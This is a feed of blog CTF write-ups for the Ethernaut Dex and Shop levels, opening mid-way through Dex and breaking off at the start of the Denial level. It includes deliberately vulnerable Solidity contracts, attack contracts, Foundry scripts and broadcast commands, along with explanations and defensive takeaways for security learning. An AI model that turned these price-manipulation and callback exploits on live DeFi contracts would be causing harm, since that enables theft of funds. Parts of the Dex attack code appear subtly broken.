            IERC20(<span class="hljs-keyword">from</span>).balanceOf(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>) <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> amount,
            <span class="hljs-string">"Not enough to swap"</span>
        );
        <span class="hljs-keyword">uint</span> swapAmount <span class="hljs-operator">=</span> getSwapPrice(<span class="hljs-keyword">from</span>, to, amount);
        IERC20(<span class="hljs-keyword">from</span>).transferFrom(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), amount);
        IERC20(to).approve(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), swapAmount);
        IERC20(to).transferFrom(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, swapAmount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getSwapPrice</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>,
        <span class="hljs-keyword">address</span> to,
        <span class="hljs-keyword">uint</span> amount
    </span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> ((amount <span class="hljs-operator">*</span> IERC20(to).balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>))) <span class="hljs-operator">/</span>
            IERC20(<span class="hljs-keyword">from</span>).balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)));
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approve</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        SwappableToken(token1).approve(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, spender, amount);
        SwappableToken(token2).approve(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, spender, amount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">address</span> account
    </span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> IERC20(token).balanceOf(account);
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">SwappableToken</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC20</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> _dex;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> dexInstance,
        <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> name,
        <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> symbol,
        <span class="hljs-keyword">uint256</span> initialSupply
    </span>) <span class="hljs-title">ERC20</span>(<span class="hljs-params">name, symbol</span>) </span>{
        _mint(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, initialSupply);
        _dex <span class="hljs-operator">=</span> dexInstance;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approve</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> owner, <span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(owner <span class="hljs-operator">!</span><span class="hljs-operator">=</span> _dex, <span class="hljs-string">"InvalidApprover"</span>);
        <span class="hljs-built_in">super</span>._approve(owner, spender, amount);
    }
}
</code></pre>
<p>A longer contract this time and a deeper dive into DeFi and token swap mechanisms in a simplified dex (Decentralized Exchange). Let's jump in!</p>
<h2 id="heading-the-hack">The hack</h2>
<p>This CFAMM dex is a super simplified version of <a target="_blank" href="https://github.com/Uniswap/v2-core">Uniswap V2</a>. The price of an asset is derived from the following Constant Function (Hence the CF in CFAMM): <code>x * y = k</code> where <code>x</code> is the liquidity of token1 and <code>y</code> is the liquidity of token2. So:</p>
<ul>
<li><p>The price of token1 in terms of token2 can be calculated like this: <code>y / x</code>.</p>
</li>
<li><p>The price of token2 in terms of token1 can be calculated like this: <code>x / y</code>.</p>
</li>
</ul>
<p>However, the <code>getSwapPrice()</code> function doesn't respect this <code>x * y = k</code> invariant because it does not adjust the balances post-swap to maintain the constant.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getSwapPrice</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>,
        <span class="hljs-keyword">address</span> to,
        <span class="hljs-keyword">uint</span> amount
    </span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> ((amount <span class="hljs-operator">*</span> IERC20(to).balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>))) <span class="hljs-operator">/</span>
            IERC20(<span class="hljs-keyword">from</span>).balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)));
    }
</code></pre>
<p>The correct method to calculate the output amount for CFAMM swaps (such as in Uniswap) involves considering the liquidity fee and the resultant pool sizes after the swap.</p>
<p>Let's start swapping some tokens around to see what happens.</p>
<p>On our first trade, everything was fine. We traded 10 token1 for 10 token2. But is it fine? According to the the CFAMM, we have:</p>
<ul>
<li><code>100 token1 * 100 token2 = 10000 constant</code></li>
</ul>
<p>On the next trade, we will now have:</p>
<ul>
<li><code>110 token1 * 90 token2 = 9460 constant</code></li>
</ul>
<p>This is clearly breaking the invariant CF rule, and it will only get worse after each trade! We will be able to use that to our advantage... and wallet. On top of that, floating point are not accounted for.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Amount In</td><td>Reserves Token1</td><td>Reserves Token2</td><td>Amount Out</td><td>Qty token1</td><td>Qty token2</td></tr>
</thead>
<tbody>
<tr>
<td>10</td><td>100</td><td>100</td><td>10</td><td>10</td><td>10</td></tr>
<tr>
<td>20</td><td>110</td><td>90</td><td>24</td><td>0</td><td>20</td></tr>
<tr>
<td>24</td><td>86</td><td>110</td><td>30</td><td>24</td><td>0</td></tr>
<tr>
<td>30</td><td>110</td><td>80</td><td>41</td><td>0</td><td>30</td></tr>
<tr>
<td>41</td><td>69</td><td>110</td><td>65</td><td>41</td><td>0</td></tr>
<tr>
<td>45</td><td>110</td><td>45</td><td>110</td><td>0</td><td>65</td></tr>
<tr>
<td></td><td>0</td><td>90</td><td></td><td>110</td><td>20</td></tr>
</tbody>
</table>
</div><p>As shown in the table above, after a few trades, we will reach a point when we can calculate the exact amount of token2 to swap to entirely drain the reserves of token1.</p>
<p>Here is a corrected version of the <code>getSwapPrice()</code> function. However, understand that <strong>this is simply for illustration only and shouldn't be used as such</strong> as it does not account for fees nor for floating-point arithmetic.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getSwapPrice</span>(<span class="hljs-params">
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>,
    <span class="hljs-keyword">address</span> to,
    <span class="hljs-keyword">uint</span> amount
</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
    <span class="hljs-keyword">uint</span> x <span class="hljs-operator">=</span> IERC20(<span class="hljs-keyword">from</span>).balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
    <span class="hljs-keyword">uint</span> y <span class="hljs-operator">=</span> IERC20(to).balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
    <span class="hljs-keyword">uint</span> yPrime <span class="hljs-operator">=</span> x <span class="hljs-operator">*</span> y <span class="hljs-operator">/</span> (x <span class="hljs-operator">+</span> amount);
    <span class="hljs-keyword">uint</span> deltaY <span class="hljs-operator">=</span> y <span class="hljs-operator">-</span> yPrime;

    <span class="hljs-keyword">return</span> deltaY;
}
</code></pre>
<h2 id="heading-solution">Solution</h2>
<p>Let's implement the contract that will help us in this task:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">IERC20</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC20/IERC20.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IDex</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">token1</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">token2</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">swap</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approve</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">address</span> account
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Dexter</span> </span>{
    IDex <span class="hljs-keyword">private</span> dex;
    IERC20 <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> token1;
    IERC20 <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> token2;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _dex</span>) </span>{
        dex <span class="hljs-operator">=</span> IDex(_dex);
        token1 <span class="hljs-operator">=</span> IERC20(idex.token1());
        token2 <span class="hljs-operator">=</span> IERC20(idex.token2());
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        token1.transferFrom(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), <span class="hljs-number">10</span>);
        token2.transferFrom(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), <span class="hljs-number">10</span>);

        idex.approve(<span class="hljs-keyword">address</span>(idex), <span class="hljs-keyword">type</span>(<span class="hljs-keyword">uint256</span>).<span class="hljs-built_in">max</span>);
        _swap(token1, token2); <span class="hljs-comment">// 10 in | 100 - 100 | 10 out (10*100/100 = 10)</span>
        _swap(token2, token1); <span class="hljs-comment">// 20 in | 110 - 90  | 24 out (20*110/90 = 24)</span>
        _swap(token1, token2); <span class="hljs-comment">// 24 in | 86  - 110 | 30 out (24*110/86 = 30)</span>
        _swap(token2, token1); <span class="hljs-comment">// 30 in | 110  - 80 | 41 out (30*110/80 = 41)</span>
        _swap(token1, token2); <span class="hljs-comment">// 41 in | 69  - 110 | 65 out (41*110/67 = 65)</span>

        idex.swap(token2, token1, <span class="hljs-number">45</span>);

        token1.<span class="hljs-built_in">transfer</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, idex.balanceOf(token1, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)));
        token2.<span class="hljs-built_in">transfer</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, idex.balanceOf(token2, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)));

        <span class="hljs-built_in">require</span>(idex.balanceOf(token1, <span class="hljs-keyword">address</span>(idex)) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>, <span class="hljs-string">"Attack failed!"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_swap</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> tokenIn, <span class="hljs-keyword">address</span> tokenOut</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> </span>{
        <span class="hljs-keyword">uint256</span> amount <span class="hljs-operator">=</span> idex.balanceOf(tokenIn, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
        idex.swap(tokenIn, tokenOut, amount);
    }
}
</code></pre>
<p>The required steps are the following:</p>
<ol>
<li><p>Deploy the Dexter contract;</p>
</li>
<li><p>Approve the Dex contract to use the Dexter tokens;</p>
</li>
<li><p>Send all token1 and token2 to the Dexter contract;</p>
</li>
<li><p>Swap token1 for token2 and vice versa until the reserves are drained;</p>
</li>
<li><p>Transfer the tokens back to your wallet (optional here).</p>
</li>
</ol>
<p>Now, we can write our deployment script to handle the launch of our attack and beat the Dex level:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Script</span>, <span class="hljs-title">console2</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">Dexter</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../src/22_Dex.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IDex</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">token1</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approve</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">address</span> account
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PoC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{
    <span class="hljs-comment">// Replace with your Dex instance</span>
    IDex dex <span class="hljs-operator">=</span> IDex(<span class="hljs-number">0x98E7fF2DfFF412D7E9e03A51AE0f63f9e983C3cE</span>);

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> deployer <span class="hljs-operator">=</span> vm.envUint(<span class="hljs-string">"PRIVATE_KEY"</span>);
        vm.startBroadcast(deployer);

        Dexter dexter <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Dexter(<span class="hljs-keyword">address</span>(dex));
        dex.approve(<span class="hljs-keyword">address</span>(dexter), <span class="hljs-keyword">type</span>(<span class="hljs-keyword">uint256</span>).<span class="hljs-built_in">max</span>);
        dexter.attack();

        console2.log(
            <span class="hljs-string">"Dex token 1 reserve: "</span>,
            dex.balanceOf(dex.token1(), <span class="hljs-keyword">address</span>(dex))
        );
        vm.stopBroadcast();
    }
}
</code></pre>
<p>You can run the script with the following command:</p>
<pre><code class="lang-bash">forge script script/22_Dex.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key <span class="hljs-variable">$ETHERSCAN_API_KEY</span>
</code></pre>
<p><strong>🎉 Level completed 🎉</strong></p>
<blockquote>
<p>Note that for more complex calculations, we could have used a fuzzer to try random values for us and get to the same conclusion.</p>
</blockquote>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li><p>Always be super careful when dealing with arithmetic and division in Solidity.</p>
</li>
<li><p>Fuzzer like Foundry &amp; Echidna are your best friends to easily test all (most of) calculations edge cases.</p>
</li>
<li><p>Always use multiple sources of truth in your contracts (Chainlink and UniswapV3 TWAP are more reliable than UniswapV2).</p>
</li>
</ul>
<h2 id="heading-reference">Reference</h2>
<ul>
<li>UniswapV2Pair: <a target="_blank" href="https://github.com/Uniswap/v2-core/blob/ee547b17853e71ed4e0101ccfd52e70d5acded58/contracts/UniswapV2Pair.sol#L182">https://github.com/Uniswap/v2-core/blob/ee547b17853e71ed4e0101ccfd52e70d5acded58/contracts/UniswapV2Pair.sol#L182</a></li>
</ul>
<hr />
<p>You can find all the codes, challenges and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md">https://github.com/Pedrojok01/Ethernaut-Solutions/</a></p>
]]></content:encoded></item><item><title><![CDATA[The Ethernaut CTF Solutions | 21 - Shop]]></title><description><![CDATA[Goals

The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint);
}

contract Shop {
    uint public price = 100;
    bool public isSold;

    function buy() public {
   ...]]></description><link>https://blog.pedrojok.com/the-ethernaut-ctf-solutions-21-shop</link><guid isPermaLink="true">https://blog.pedrojok.com/the-ethernaut-ctf-solutions-21-shop</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Wed, 03 Apr 2024 05:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1713855124936/4dc5cb98-9611-467e-9680-9560464379fb.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p><a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/21-shop-requirements.webp"><img src="https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/21-shop-requirements.webp" alt /></a></p>
<h2 id="heading-the-contract">The Contract</h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Buyer</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">price</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Shop</span> </span>{
    <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> price <span class="hljs-operator">=</span> <span class="hljs-number">100</span>;
    <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> isSold;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">buy</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        Buyer _buyer <span class="hljs-operator">=</span> Buyer(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);

        <span class="hljs-keyword">if</span> (_buyer.price() <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> price <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> <span class="hljs-operator">!</span>isSold) {
            isSold <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
            price <span class="hljs-operator">=</span> _buyer.price();
        }
    }
}
</code></pre>
<h2 id="heading-the-hack">The hack</h2>
<p>The goal of the Shop challenge is to buy an item from the contract at a discount. How to do that? Let's check the <code>buy()</code> function (it's not like we have many other functions to check anyway!):</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">buy</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    Buyer _buyer <span class="hljs-operator">=</span> Buyer(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);

    <span class="hljs-keyword">if</span> (_buyer.price() <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> price <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> <span class="hljs-operator">!</span>isSold) {
      isSold <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
      price <span class="hljs-operator">=</span> _buyer.price();
    }
}
</code></pre>
<p>It seems that only a price equal to or greater than the current price will be accepted. However, the <code>price()</code> function is not a simple getter, but rather an interface without any logic. So what if we could set our own logic?</p>
<p>This is quite similar to the level <a target="_blank" href="https://blog.pedrojok.com/the-ethernaut-ctf-solutions-11-elevator">11 - Elevator</a>. We can create a new contract that implements the <code>Buyer</code> interface and sets our custom logic for the <code>price()</code> function.</p>
<p>Now, we simply have to mess with this part:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">if</span> (_buyer.price() <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> price <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> <span class="hljs-operator">!</span>isSold) {
  isSold <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
  price <span class="hljs-operator">=</span> _buyer.price();
}
</code></pre>
<p>Notice how the <code>price()</code> function is called twice:</p>
<ul>
<li><p>Once to check that the price paid is enough,</p>
</li>
<li><p>Then again to set the price to its new value.</p>
</li>
</ul>
<p>So we want <code>!sold</code> to be false and <code>price</code> to be more than 100 the first time to pass the condition, and then <code>!sold</code> to be true and <code>price</code> to be as little as possible the second time. And there will be our discount.</p>
<h2 id="heading-solution">Solution</h2>
<p>Let's implement the code accordingly:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IShop</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isSold</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">buy</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Discount</span> </span>{
    IShop shop;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _shop</span>) </span>{
        shop <span class="hljs-operator">=</span> IShop(_shop);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">price</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">return</span> shop.isSold() ? <span class="hljs-number">1</span> : <span class="hljs-number">101</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        shop.buy();
    }
}
</code></pre>
<p>Now, let's prepare the script in charge of deploying the <code>Discount</code> contract:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Script</span>, <span class="hljs-title">console2</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">Discount</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../src/21_Shop.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IShop</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">price</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PoC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{
    <span class="hljs-comment">// Replace with your Shop instance</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> shop <span class="hljs-operator">=</span> <span class="hljs-number">0xb6fD536610887837a3452Ac249432bF9eF129e3a</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> deployer <span class="hljs-operator">=</span> vm.envUint(<span class="hljs-string">"PRIVATE_KEY"</span>);
        vm.startBroadcast(deployer);

        console2.log(<span class="hljs-string">"Initial price: "</span>, IShop(shop).price());

        Discount discount <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Discount(shop);
        discount.attack();

        console2.log(<span class="hljs-string">"Discounted price: "</span>, IShop(shop).price());

        vm.stopBroadcast();
    }
}
</code></pre>
<p>Then run the script with the following command:</p>
<pre><code class="lang-bash">forge script script/21_Shop.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key <span class="hljs-variable">$ETHERSCAN_API_KEY</span>
</code></pre>
<p>Here is what should be printed in your console after running this script:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713855604480/29b9a084-db29-4813-80bc-9725f57530f3.png" alt class="image--center mx-auto" /></p>
<p><em>(I had already completed the challenge, that's why the</em> <code>Initial price</code> <em>was already 1.)</em></p>
<p><strong>🎉 Level completed 🎉</strong></p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li>Don't change the state based on external and untrusted contracts logic.</li>
</ul>
<hr />
<p>You can find all the codes, challenges, and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md">https://github.com/Pedrojok01/Ethernaut-Solutions/</a></p>
]]></content:encoded></item><item><title><![CDATA[The Ethernaut CTF Solutions | 20 - Denial]]></title><description><![CDATA[Goals

The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
